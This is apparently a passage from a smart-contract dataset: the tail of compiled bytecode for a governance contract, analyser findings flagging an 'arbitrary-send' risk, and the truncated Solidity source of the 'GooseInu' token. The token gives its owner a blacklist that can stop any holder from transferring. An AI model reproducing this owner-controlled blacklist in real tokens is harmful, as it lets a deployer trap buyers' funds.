5565b806008015443116108915760019150506109b5565b80600a015481600901541115806108b257506108ab610503565b8160090154105b156108c15760039150506109b5565b60028101546108d45760049150506109b5565b600b810154610100900460ff16156108f05760079150506109b5565b6002810154600054604080517fc1a287e2000000000000000000000000000000000000000000000000000000008152905161099f939273ffffffffffffffffffffffffffffffffffffffff169163c1a287e2916004808301926020929190829003018186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061099a919081019061257b565b611c13565b42106109af5760069150506109b5565b60059150505b919050565b60006109c5826107ef565b905060078160078111156109d557fe5b1415610a0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613541565b6000828152600360205260409020610a23610e73565b600180548382015473ffffffffffffffffffffffffffffffffffffffff9182169263782d6fe19290911690610a59904390611c59565b6040518363ffffffff1660e01b8152600401610a76929190613269565b60206040518083038186803b158015610a8e57600080fd5b505afa158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ac691908101906126be565b6bffffffffffffffffffffffff1610610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134e1565b600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b6003820154811015610c4f5760005460038301805473ffffffffffffffffffffffffffffffffffffffff9092169163591fcdfe919084908110610b7a57fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff9092169185908110610baf57fe5b9060005260206000200154856005018581548110610bc957fe5b90600052602060002001866006018681548110610be257fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c11959493929190613306565b600060405180830381600087803b158015610c2b57600080fd5b505af1158015610c3f573d6000803e3d6000fd5b505060019092019150610b3b9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610c7f9190613394565b60405180910390a1505050565b6000604051610c9a90613238565b60408051918290038220828201909152601682527f4d656f7773686920476f7665726e6f7220416c706861000000000000000000006020909201919091527f1c6487fea60cf18eee31a82b1db1b12d6a17f3e529cf8e336613dad944f76789610d01611c9b565b30604051602001610d1594939291906133a2565b6040516020818303038152906040528051906020012090506000604051610d3b90613243565b604051908190038120610d5491899089906020016133d7565b60405160208183030381529060405280519060200120905060008282604051602001610d81929190613207565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610dbe94939291906133ff565b6020604051602081039080840390855afa158015610de0573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610e58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613521565b610e63818a8a611988565b505050505050505050565b600a90565b69d3c21bcecceda100000090565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000610ec9610e73565b6001805473ffffffffffffffffffffffffffffffffffffffff169063782d6fe1903390610ef7904390611c59565b6040518363ffffffff1660e01b8152600401610f1492919061324e565b60206040518083038186803b158015610f2c57600080fd5b505afa158015610f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f6491908101906126be565b6bffffffffffffffffffffffff1611610fa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613511565b84518651148015610fbb575083518651145b8015610fc8575082518651145b610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134d1565b8551611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613501565b61103e610e6e565b86511115611078576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134b1565b336000908152600460205260409020548015611129576000611099826107ef565b905060018160078111156110a957fe5b14156110e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613531565b60008160078111156110ef57fe5b1415611127576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134a1565b505b60006111374361099a6107ea565b905060006111478261099a61048b565b600280546001019055905061115a611e4b565b604051806101a0016040528060025481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060036000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019080519060200190611264929190611ecd565b5060808201518051611280916004840191602090910190611f57565b5060a0820151805161129c916005840191602090910190611f9e565b5060c082015180516112b8916006840191602090910190611ff7565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160046000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516113b89998979695949392919061357f565b60405180910390a15193505050505b95945050505050565b60046113db826107ef565b60078111156113e657fe5b1461141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613461565b6000818152600360209081526040808320835482517f6a42b8f8000000000000000000000000000000000000000000000000000000008152925191949361149c93429373ffffffffffffffffffffffffffffffffffffffff90931692636a42b8f892600480840193919291829003018186803b15801561096257600080fd5b905060005b600383015481101561168d576116858360030182815481106114bf57fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff90921691849081106114f457fe5b906000526020600020015485600501848154811061150e57fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156115ba5780601f1061158f576101008083540402835291602001916115ba565b820191906000526020600020905b81548152906001019060200180831161159d57829003601f168201915b50505050508660060185815481106115ce57fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561167a5780601f1061164f5761010080835404028352916020019161167a565b820191906000526020600020905b81548152906001019060200180831161165d57829003601f168201915b505050505086611c9f565b6001016114a1565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610c7f90859084906136ad565b6040516104f890613243565b6116db612050565b50600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046bffffffffffffffffffffffff16918101919091525b92915050565b600561175f826107ef565b600781111561176a57fe5b146117a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613471565b6000818152600360205260408120600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055905b600382015481101561194c5760005460048301805473ffffffffffffffffffffffffffffffffffffffff90921691630825f38f91908490811061181e57fe5b906000526020600020015484600301848154811061183857fe5b60009182526020909120015460048601805473ffffffffffffffffffffffffffffffffffffffff909216918690811061186d57fe5b906000526020600020015486600501868154811061188757fe5b906000526020600020018760060187815481106118a057fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118cf959493929190613306565b6000604051808303818588803b1580156118e857600080fd5b505af11580156118fc573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526119439190810190612599565b506001016117df565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161197c9190613394565b60405180910390a15050565b6001611993836107ef565b600781111561199e57fe5b146119d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613551565b600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452600c8101909252909120805460ff1615611a45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613491565b60015460078301546040517f782d6fe100000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff169163782d6fe191611aa1918a91600401613269565b60206040518083038186803b158015611ab957600080fd5b505afa158015611acd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611af191908101906126be565b90508315611b1f57611b158360090154826bffffffffffffffffffffffff16611c13565b6009840155611b41565b611b3b83600a0154826bffffffffffffffffffffffff16611c13565b600a8401555b815460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010085151502177fffffffffffffffffffffffffffffffffffff000000000000000000000000ffff16620100006bffffffffffffffffffffffff8316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c03908890889088908690613277565b60405180910390a1505050505050565b600082820183811015611c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134c1565b9392505050565b600082821115611c95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613561565b50900390565b4690565b60005460405173ffffffffffffffffffffffffffffffffffffffff9091169063f2b0653790611cda90889088908890889088906020016132ac565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611d0c9190613394565b60206040518083038186803b158015611d2457600080fd5b505afa158015611d38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611d5c919081019061255d565b15611d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134f1565b6000546040517f3a66f90100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690633a66f90190611df190889088908890889088906004016132ac565b602060405180830381600087803b158015611e0b57600080fd5b505af1158015611e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e43919081019061257b565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611f47579160200282015b82811115611f4757825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909116178255602090920191600190910190611eed565b50611f53929150612070565b5090565b828054828255906000526020600020908101928215611f92579160200282015b82811115611f92578251825591602001919060010190611f77565b50611f539291506120ac565b828054828255906000526020600020908101928215611feb579160200282015b82811115611feb5782518051611fdb9184916020909101906120c6565b5091602001919060010190611fbe565b50611f53929150612133565b828054828255906000526020600020908101928215612044579160200282015b8281111561204457825180516120349184916020909101906120c6565b5091602001919060010190612017565b50611f53929150612156565b604080516060810182526000808252602082018190529181019190915290565b61048f91905b80821115611f535780547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600101612076565b61048f91905b80821115611f5357600081556001016120b2565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061210757805160ff1916838001178555611f92565b82800160010185558215611f925791820182811115611f92578251825591602001919060010190611f77565b61048f91905b80821115611f5357600061214d8282612179565b50600101612139565b61048f91905b80821115611f535760006121708282612179565b5060010161215c565b50805460018160011615610100020316600290046000825580601f1061219f57506121bd565b601f0160209004906000526020600020908101906121bd91906120ac565b50565b803561174e81613844565b600082601f8301126121dc57600080fd5b81356121ef6121ea826136e2565b6136bb565b9150818183526020840193506020810190508385602084028201111561221457600080fd5b60005b83811015612240578161222a88826121c0565b8452506020928301929190910190600101612217565b5050505092915050565b600082601f83011261225b57600080fd5b81356122696121ea826136e2565b81815260209384019390925082018360005b83811015612240578135860161229188826123a0565b845250602092830192919091019060010161227b565b600082601f8301126122b857600080fd5b81356122c66121ea826136e2565b81815260209384019390925082018360005b8381101561224057813586016122ee88826123a0565b84525060209283019291909101906001016122d8565b600082601f83011261231557600080fd5b81356123236121ea826136e2565b9150818183526020840193506020810190508385602084028201111561234857600080fd5b60005b83811015612240578161235e888261238a565b845250602092830192919091019060010161234b565b803561174e81613858565b805161174e81613858565b803561174e81613861565b805161174e81613861565b600082601f8301126123b157600080fd5b81356123bf6121ea82613703565b915080825260208301602083018583830111156123db57600080fd5b6123e68382846137da565b50505092915050565b600082601f83011261240057600080fd5b815161240e6121ea82613703565b9150808252602083016020830185838301111561242a57600080fd5b6123e68382846137e6565b803561174e8161386a565b805161174e81613873565b60006020828403121561245d57600080fd5b600061246984846121c0565b949350505050565b600080600080600060a0868803121561248957600080fd5b853567ffffffffffffffff8111156124a057600080fd5b6124ac888289016121cb565b955050602086013567ffffffffffffffff8111156124c957600080fd5b6124d588828901612304565b945050604086013567ffffffffffffffff8111156124f257600080fd5b6124fe888289016122a7565b935050606086013567ffffffffffffffff81111561251b57600080fd5b6125278882890161224a565b925050608086013567ffffffffffffffff81111561254457600080fd5b612550888289016123a0565b9150509295509295909350565b60006020828403121561256f57600080fd5b6000612469848461237f565b60006020828403121561258d57600080fd5b60006124698484612395565b6000602082840312156125ab57600080fd5b815167ffffffffffffffff8111156125c257600080fd5b612469848285016123ef565b6000602082840312156125e057600080fd5b6000612469848461238a565b600080604083850312156125ff57600080fd5b600061260b858561238a565b925050602061261c858286016121c0565b9150509250929050565b6000806040838503121561263957600080fd5b6000612645858561238a565b925050602061261c85828601612374565b600080600080600060a0868803121561266e57600080fd5b600061267a888861238a565b955050602061268b88828901612374565b945050604061269c88828901612435565b93505060606126ad8882890161238a565b92505060806125508882890161238a565b6000602082840312156126d057600080fd5b60006124698484612440565b60006126e88383612717565b505060200190565b6000611c5283836128b9565b60006126e8838361289f565b612711816137b2565b82525050565b61271181613768565b600061272b8261375b565b612735818561375f565b935061274083613749565b8060005b8381101561276e57815161275888826126dc565b975061276383613749565b925050600101612744565b509495945050505050565b60006127848261375b565b61278e818561375f565b9350836020820285016127a085613749565b8060005b858110156127da57848403895281516127bd85826126f0565b94506127c883613749565b60209a909a01999250506001016127a4565b5091979650505050505050565b60006127f28261375b565b6127fc818561375f565b93508360208202850161280e85613749565b8060005b858110156127da578484038952815161282b85826126f0565b945061283683613749565b60209a909a0199925050600101612812565b60006128538261375b565b61285d818561375f565b935061286883613749565b8060005b8381101561276e57815161288088826126fc565b975061288b83613749565b92505060010161286c565b61271181613773565b6127118161048f565b6127116128b48261048f565b61048f565b60006128c48261375b565b6128ce818561375f565b93506128de8185602086016137e6565b6128e781613812565b9093019392505050565b60008154600181166000811461290e576001811461295257612991565b607f600283041661291f818761375f565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0084168152955050602085019250612991565b60028204612960818761375f565b955061296b8561374f565b60005b8281101561298a5781548882015260019091019060200161296e565b8701945050505b505092915050565b612711816137b9565b612711816137c4565b60006129b860448361375f565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c792062652071756575656420696620697420697320737563636560208201527f6564656400000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612a3d60458361375f565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208201527f7565756564000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612ac26002836109b5565b7f1901000000000000000000000000000000000000000000000000000000000000815260020192915050565b6000612afb60298361375f565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707281527f6f706f73616c2069640000000000000000000000000000000000000000000000602082015260400192915050565b6000612b5a602d8361375f565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081527f616c726561647920766f74656400000000000000000000000000000000000000602082015260400192915050565b6000612bb960598361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612c3e60288361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981527f20616374696f6e73000000000000000000000000000000000000000000000000602082015260400192915050565b6000612c9d60118361375f565b7f6164646974696f6e206f766572666c6f77000000000000000000000000000000815260200192915050565b6000612cd66043836109b5565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201527f6374290000000000000000000000000000000000000000000000000000000000604082015260430192915050565b6000612d5b6027836109b5565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207381527f7570706f72742900000000000000000000000000000000000000000000000000602082015260270192915050565b6000612dba60448361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208201527f6174636800000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612e3f602f8361375f565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081527f61626f7665207468726573686f6c640000000000000000000000000000000000602082015260400192915050565b6000612e9e60448361375f565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208201527f2065746100000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612f23602c8361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81527f7669646520616374696f6e730000000000000000000000000000000000000000602082015260400192915050565b6000612f82603f8361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612fe1602f8361375f565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81527f76616c6964207369676e61747572650000000000000000000000000000000000602082015260400192915050565b600061304060588361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b60006130c560368361375f565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636181527f6e63656c2065786563757465642070726f706f73616c00000000000000000000602082015260400192915050565b6000613124602a8361375f565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6781527f20697320636c6f73656400000000000000000000000000000000000000000000602082015260400192915050565b600061318360158361375f565b7f7375627472616374696f6e20756e646572666c6f770000000000000000000000815260200192915050565b805160608301906131c08482612896565b5060208201516131d36020850182612896565b5060408201516131e660408501826131fe565b50505050565b6127118161379b565b612711816137cf565b612711816137a1565b600061321282612ab5565b915061321e82856128a8565b60208201915061322e82846128a8565b5060200192915050565b600061174e82612cc9565b600061174e82612d4e565b6040810161325c8285612708565b611c52602083018461289f565b6040810161325c8285612717565b608081016132858287612717565b613292602083018661289f565b61329f6040830185612896565b6113c760608301846131f5565b60a081016132ba8288612717565b6132c7602083018761289f565b81810360408301526132d981866128b9565b905081810360608301526132ed81856128b9565b90506132fc608083018461289f565b9695505050505050565b60a081016133148288612717565b613321602083018761289f565b818103604083015261333381866128f1565b905081810360608301526132ed81856128f1565b608080825281016133588187612720565b9050818103602083015261336c8186612848565b9050818103604083015261338081856127e7565b905081810360608301526132fc8184612779565b6020810161174e828461289f565b608081016133b0828761289f565b6133bd602083018661289f565b6133ca604083018561289f565b6113c76060830184612717565b606081016133e5828661289f565b6133f2602083018561289f565b6124696040830184612896565b6080810161340d828761289f565b61341a60208301866131ec565b613427604083018561289f565b6113c7606083018461289f565b6020810161174e8284612999565b6020810161174e82846129a2565b60208082528101611c5281846128b9565b6020808252810161174e816129ab565b6020808252810161174e81612a30565b6020808252810161174e81612aee565b6020808252810161174e81612b4d565b6020808252810161174e81612bac565b6020808252810161174e81612c31565b6020808252810161174e81612c90565b6020808252810161174e81612dad565b6020808252810161174e81612e32565b6020808252810161174e81612e91565b6020808252810161174e81612f16565b6020808252810161174e81612f75565b6020808252810161174e81612fd4565b6020808252810161174e81613033565b6020808252810161174e816130b8565b6020808252810161174e81613117565b6020808252810161174e81613176565b6060810161174e82846131af565b610120810161358e828c61289f565b61359b602083018b612708565b81810360408301526135ad818a612720565b905081810360608301526135c18189612848565b905081810360808301526135d581886127e7565b905081810360a08301526135e98187612779565b90506135f860c083018661289f565b61360560e083018561289f565b81810361010083015261361881846128b9565b9b9a5050505050505050505050565b6101208101613636828c61289f565b613643602083018b612717565b613650604083018a61289f565b61365d606083018961289f565b61366a608083018861289f565b61367760a083018761289f565b61368460c083018661289f565b61369160e0830185612896565b61369f610100830184612896565b9a9950505050505050505050565b6040810161325c828561289f565b60405181810167ffffffffffffffff811182821017156136da57600080fd5b604052919050565b600067ffffffffffffffff8211156136f957600080fd5b5060209081020190565b600067ffffffffffffffff82111561371a57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60200190565b60009081526020902090565b5190565b90815260200190565b600061174e82613782565b151590565b806109b58161383a565b73ffffffffffffffffffffffffffffffffffffffff1690565b60ff1690565b6bffffffffffffffffffffffff1690565b600061174e825b600061174e82613768565b600061174e82613778565b600061174e826137a1565b82818337506000910152565b60005b838110156138015781810151838201526020016137e9565b838111156131e65750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690565b600881106121bd57fe5b61384d81613768565b81146121bd57600080fd5b61384d81613773565b61384d8161048f565b61384d8161379b565b61384d816137a156fea365627a7a723158209a0e0b9965172fc232a8cc210ea5a7f4e3a3c104910e315ae03064fc5094ec226c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,569 |
0xc58a523124cf41522f39c436fedfb614693625e6
|
/*
TG https://t.me/GooseInu
Max Buy 500000000
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GooseInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "GooseInu";
string private constant _symbol = "GI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x519477de581cbC0D7F408D63f19d89A5273AF8EF);
_feeAddrWallet2 = payable(0x519477de581cbC0D7F408D63f19d89A5273AF8EF);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function maxbuy(uint256 limitbuy) public onlyOwner {
require(limitbuy > 0, "no limit");
_maxTxAmount = _tTotal.mul(limitbuy).div(10**5);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
